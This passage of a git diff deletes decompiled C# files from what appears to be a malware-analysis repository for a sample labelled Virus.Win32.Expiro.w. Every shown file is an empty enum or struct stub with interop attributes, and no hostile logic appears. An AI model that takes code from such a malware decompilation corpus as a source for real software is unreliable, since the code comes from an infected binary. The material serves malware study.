-using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _DNS_NAME_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_Direction.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_Direction.cs deleted file mode 100644 index 8de99d35..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_Direction.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _Direction -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _Direction -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DnsSection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DnsSection.cs deleted file mode 100644 index 16c09c3f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DnsSection.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DnsSection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _DnsSection -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ELEMENT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ELEMENT_TYPE.cs deleted file mode 100644 index bbefaa7f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ELEMENT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ELEMENT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _ELEMENT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ENLISTMENT_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ENLISTMENT_INFORMATION_CLASS.cs deleted file mode 100644 index 5590718d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ENLISTMENT_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ENLISTMENT_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _ENLISTMENT_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_EXCEPTION_DISPOSITION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_EXCEPTION_DISPOSITION.cs deleted file mode 100644 index d5ea6fe3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_EXCEPTION_DISPOSITION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _EXCEPTION_DISPOSITION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _EXCEPTION_DISPOSITION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_EXCEPTION_POINTERS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_EXCEPTION_POINTERS.cs deleted file mode 100644 index fb4f9c28..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_EXCEPTION_POINTERS.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _EXCEPTION_POINTERS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _EXCEPTION_POINTERS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_EXPLICIT_ACCESS_W.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_EXPLICIT_ACCESS_W.cs deleted file mode 100644 index 646f4598..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_EXPLICIT_ACCESS_W.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _EXPLICIT_ACCESS_W -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _EXPLICIT_ACCESS_W -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_FINDEX_INFO_LEVELS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_FINDEX_INFO_LEVELS.cs deleted file mode 100644 index 0868cc6a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_FINDEX_INFO_LEVELS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _FINDEX_INFO_LEVELS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _FINDEX_INFO_LEVELS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_FINDEX_SEARCH_OPS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_FINDEX_SEARCH_OPS.cs deleted file mode 100644 index 8dfe2ace..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_FINDEX_SEARCH_OPS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _FINDEX_SEARCH_OPS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _FINDEX_SEARCH_OPS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_GET_FILEEX_INFO_LEVELS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_GET_FILEEX_INFO_LEVELS.cs deleted file mode 100644 index 75e33812..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_GET_FILEEX_INFO_LEVELS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _GET_FILEEX_INFO_LEVELS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _GET_FILEEX_INFO_LEVELS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_GPO_LINK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_GPO_LINK.cs deleted file mode 100644 index 0b7f0001..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_GPO_LINK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _GPO_LINK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _GPO_LINK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_GUID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_GUID.cs deleted file mode 100644 index 69b25b0a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_GUID.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _GUID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[UnsafeValueType] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct _GUID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_HEAP_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_HEAP_INFORMATION_CLASS.cs deleted file mode 100644 index 7e1de56d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_HEAP_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _HEAP_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _HEAP_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_HandleType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_HandleType.cs deleted file mode 100644 index b6d5008d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_HandleType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _HandleType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _HandleType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_IDL_CS_CONVERT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_IDL_CS_CONVERT.cs deleted file mode 100644 index 0d3c55dd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_IDL_CS_CONVERT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _IDL_CS_CONVERT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _IDL_CS_CONVERT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ITEMIDLIST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ITEMIDLIST.cs deleted file mode 100644 index be392bc2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ITEMIDLIST.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ITEMIDLIST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[UnsafeValueType] -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 3)] -internal struct _ITEMIDLIST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_JOBOBJECTINFOCLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_JOBOBJECTINFOCLASS.cs deleted file mode 100644 index 7bd8351e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_JOBOBJECTINFOCLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _JOBOBJECTINFOCLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _JOBOBJECTINFOCLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KERB_LOGON_SUBMIT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KERB_LOGON_SUBMIT_TYPE.cs deleted file mode 100644 index 0f4efd67..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KERB_LOGON_SUBMIT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KERB_LOGON_SUBMIT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _KERB_LOGON_SUBMIT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KERB_PROFILE_BUFFER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KERB_PROFILE_BUFFER_TYPE.cs deleted file mode 100644 index ab0508d6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KERB_PROFILE_BUFFER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KERB_PROFILE_BUFFER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _KERB_PROFILE_BUFFER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KERB_PROTOCOL_MESSAGE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KERB_PROTOCOL_MESSAGE_TYPE.cs deleted file mode 100644 index feef098d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KERB_PROTOCOL_MESSAGE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KERB_PROTOCOL_MESSAGE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _KERB_PROTOCOL_MESSAGE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KTMOBJECT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KTMOBJECT_TYPE.cs deleted file mode 100644 index 497755f9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KTMOBJECT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KTMOBJECT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _KTMOBJECT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_LOGICAL_PROCESSOR_RELATIONSHIP.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_LOGICAL_PROCESSOR_RELATIONSHIP.cs deleted file mode 100644 index 9b92abad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_LOGICAL_PROCESSOR_RELATIONSHIP.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _LOGICAL_PROCESSOR_RELATIONSHIP -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _LOGICAL_PROCESSOR_RELATIONSHIP -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_LUID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_LUID.cs deleted file mode 100644 index 17dc2605..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_LUID.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _LUID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _LUID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MANDATORY_LEVEL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MANDATORY_LEVEL.cs deleted file mode 100644 index d5f8cccc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MANDATORY_LEVEL.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: 